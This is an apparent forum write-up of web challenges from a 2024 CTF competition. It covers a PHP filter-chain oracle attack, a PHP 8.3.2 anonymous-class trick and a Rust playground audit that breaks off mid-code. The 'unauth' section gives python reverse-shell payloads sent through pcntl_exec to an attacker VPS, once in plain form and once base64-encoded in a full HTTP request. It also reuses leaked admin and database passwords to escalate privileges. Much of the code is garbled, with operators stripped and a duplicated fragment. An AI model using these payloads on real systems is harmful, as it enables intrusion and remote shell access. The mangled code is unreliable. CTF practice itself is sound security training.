Jump to content

Title: 2024 Digital China Innovation 4th Hongminggu Cup Cybersecurity Competition WP

Featured Replies

Posted

WEB

ezphp

Title Description: A research team focused on satellite communication technology is working to improve their communication systems to improve the efficiency and security of data transmission. The team decided to use PHP 8.3.2 to improve communication system development.

Test point: php filter chain Oracle

PHP Filter Chain —— Oracle-based file reading attack

Reference: https://xz.aliyun.com/t/12939?time__1311=mqmhqIx%2BxfOD7DloaGkWepSazHG%3D4D#toc-16

The source code of the question is as follows

?php

highlight_file(__FILE__);

//flag.php

if (isset($_POST['f'])) {

echo hash_file('md5', $_POST['f']);

}

?

image-20240721022130265

Projects available here: https://github.com/synacktiv/php_filter_chains_oracle_exploit/

Test point: Use PHP Filter chain - an oracle-based file reading attack to generate exp execution. The question prompts that the php version number just meets the conditions, download exp for utilization

image-20240721022317838

Execute payload, you may need to run a few more times here

python3 filters_chain_oracle_exploit.py --target http://eci-2zea1zzp9231ugqw9htd.cloudeci1.icunqiu.com/--file flag.php --parameter f

Access /flag.php?ezphpPhp8 to read the generated source code

image-20240721022347849

image-20240721022524879

?php

if (isset($_GET['ezphpPhp8'])) {

highlight_file(__FILE__);

} else {

die('No');

}

$a=new class {

function __construct()

{

}

function getflag()

{

system('cat /flag');

}

};

unset($a);

$a=$_GET['ezphpPhp8'];

$f=new $a();

$f-getflag();

?

The question prompts that the PHP version is php 8.3.2. Go to the PHP official website to view ChangeLog and directly lock GH-13097.

image-20240721030306000

Local debugging, I found that the flag can be read using anonymous classes and the payload can be constructed

Create a container locally:

docker run -itd -p 1238:80 php:8.3.2-apache

docker exec -it container id /bin/bash

Put flag.php and test code as follows:

?php

if (isset($_GET['ezphpPhp8'])) {

//highlight_file(__FILE__);

} else {

//die('No');

}

$anonymous=new class {

function __construct()

{

}

function getflag()

{

system('cat /flag');

}

};

$a=get_class($anonymous);

echo urlencode($a);

echo '\n';

unset($anonymous);

//echo get_class($a).': now you see me.';

$a=urldecode('class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Fflag.php%3A7%240');

$f=new $a();

$f-getflag();

var_dump($f);

//throw new Exception(

//get_class($anonymous).' .now you don\'t!',

//E_USER_ERROR

//);

You can see that the getflag method can be executed:

image-20240721030403850

image-20240721022458707

Construct exp:

/flag.php?ezphpPhp8=anonymous

/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$1

/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0

image-20240721022543080

unauth

Start a login port

image-20240721022613215

The password with admin in the website path/www.zip was leaked:

image-20240721022644892

www.zip leaked source code as follows:

?php

if (!isset($_SERVER['PHP_AUTH_USER'])) {

header('WWW-Authenticate: Basic realm='Restricted Area'');

header('HTTP/1.0 401 Unauthorized');

echo 'Xiao Ming is an operation and maintenance engineer, and there have been bugs on the website recently. ';

exit;

} else {

$validUser='admin';

$validPass='2e525e29e465f45d8d7c56319fe73036';

if ($_SERVER['PHP_AUTH_USER'] !=$validUser || $_SERVER['PHP_AUTH_PW'] !=$validPass) {

header('WWW-Authenticate: Basic realm='Restricted Area'');

header('HTTP/1.0 401 Unauthorized');

echo 'Invalid credentials';

exit;

}

}

@eval($_GET['cmd']);

highlight_file(__FILE__);

?

A simple audit can be made and the commands can be executed but most of them are banned.

After logging in, there is a sentence Trojan with a password cmd and banned many functions. After testing, it is found that you can use pcntl_exec to rebound the shell:

//POST pass parameter, rebound shell

1=pcntl_exec('/usr/bin/python',array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(('VPS address',port port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);'));os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);'));

In the end, you need to raise the rights. I tried suid but failed. I found that there is a configuration file config.inc.php, whose password is admin user password.

image-20240721022721413

!--?php

# If you are having problems connecting to the MySQL database and all of the variables below are correct

# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.

# Thanks to @digininja for the fix.

# Database management system to use

$DBMS='MySQL';

#$DBMS='PGSQL'; //Currently disabled

# Database variables

# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.

# Please use a database dedicated to DVWA.

#

# If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.

# See README.md for more information on this.

$_DVWA=array();

$_DVWA[ 'db_server' ]='127.0.0.1';

$_DVWA[ 'db_database' ]='dvwa';

$_DVWA[ 'db_user' ]='root';

$_DVWA[ 'db_password' ]='b90e0086d8b1165403de6974c4167165';

# Only used with PostgreSQL/PGSQL database selection.

$_DVWA[ 'db_port ']='5432';

# ReCAPTCHA settings

# Used for the 'Insecure CAPTCHA' module

# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin

$_DVWA[ 'recaptcha_public_key' ]='6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';

$_DVWA[ 'recaptcha_private_key' ]='6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

# Default security level

# Default value for the security level with each session.

# The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.

$_DVWA[ 'default_security_level' ]='impossible';

# Default PHPIDS status

# PHPIDS status with each session.

# The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'.

$_DVWA[ 'default_phpids_level' ]='disabled';

# Verbose PHPIDS messages

# Enabling this will show why the WAF blocked the request on the blocked request.

# The default is 'disabled'. You can set this to be either 'true' or 'false'.

$_DVWA[ 'default_phpids_verbose' ]='false';

?--

The packet rebounds the shell, execute the command to the interactive shell, use the obtained password b90e0086d8b1165403de6974c4167165 to switch to the admin user to read the flag

GET /?cmd=pcntl_exec('/usr/bin/python',['-c',base64_decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubm VjdCgoIjEyMy4xMjMuMTIzLjEyMyIsMTIzNCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oInNoIik=')]); HTTP/1.0

Host: xxx.com

Pragma: no-cache

Cache-Control: no-cache

Authorization: Basic YWRtaW46MmU1MjVlMjllNDY1ZjQ1ZDhkN2M1NjMxOWZlNzMwMzY=

Upgrade-Insecure-Requests: 1

WWW-Authenticate: Basic realm='Restricted Area

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8,vi;q=0.7

Cookie: PHPSESSID=

Connection: close

image-20240721022743516

playground

rust source code audit question gives the source code as follows, this question is basically solved

#[macro_use] extern crate rocket;

use std:fs;

use std:fs:File;

use std:io:Write;

use std:process:Command;

use rand:Rng;

#[get('/')]

fn index() - String {

fs:read_to_string('main.rs').unwrap_or(String:default())

}

#[post('/rust_code', data='code')]

fn run_rust_code(code: String) - String{

if code.contains('std') {

return 'Error: std is not allowed'.to_string();

}

//generate a random 5 length file name

let file_name=rand:thread_rng()

.sample_iter(rand:distributions:Alphanumeric)

.take(5)

.map(char:from)

.collect:String();

if let Ok(mut file)=File:create(format!('playground/{}.rs', file_name)) {

file.write_all(code.as_bytes());

}

if let Ok(build_output)=Command:new('rustc')

.arg(format!('playground/{}.rs',file_name))

.arg('-C')

.arg('debuginfo=0')

.arg('-C')

.arg('opt-level=3')

.arg('-o')

.arg(format!('playground/{}',file_name))

.output() {

if !build_output.status.success(){

fs:remove_file(format!('playground/{}.rs',file_name));

return String:from_utf8_lossy(build_output.stderr.as_slice()).to_string();

}

}

fs:remove_file(format!('playground/{}.rs',file_name));

if let Ok(output)=Command:new(format!('playground/{}',file_name))

.output() {

if !output.status.success(){

fs:remove_file(format!('playground/{}',file_name));

return String:from_utf8_lossy(output.stderr.as_slice()).to_string();

} else{

fs:remove_file(format!('playground/{}',file_name));

return String:from_utf8_lossy(output.stdout.as_slice()).to_string();

}

}

return String:default();

}

#[launch]

fn rocket() - _ {

let figment=rocket:Config:figment()

.merge(('address', '0.0.0.0'));

rocket:custom(figment).mount('/'

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.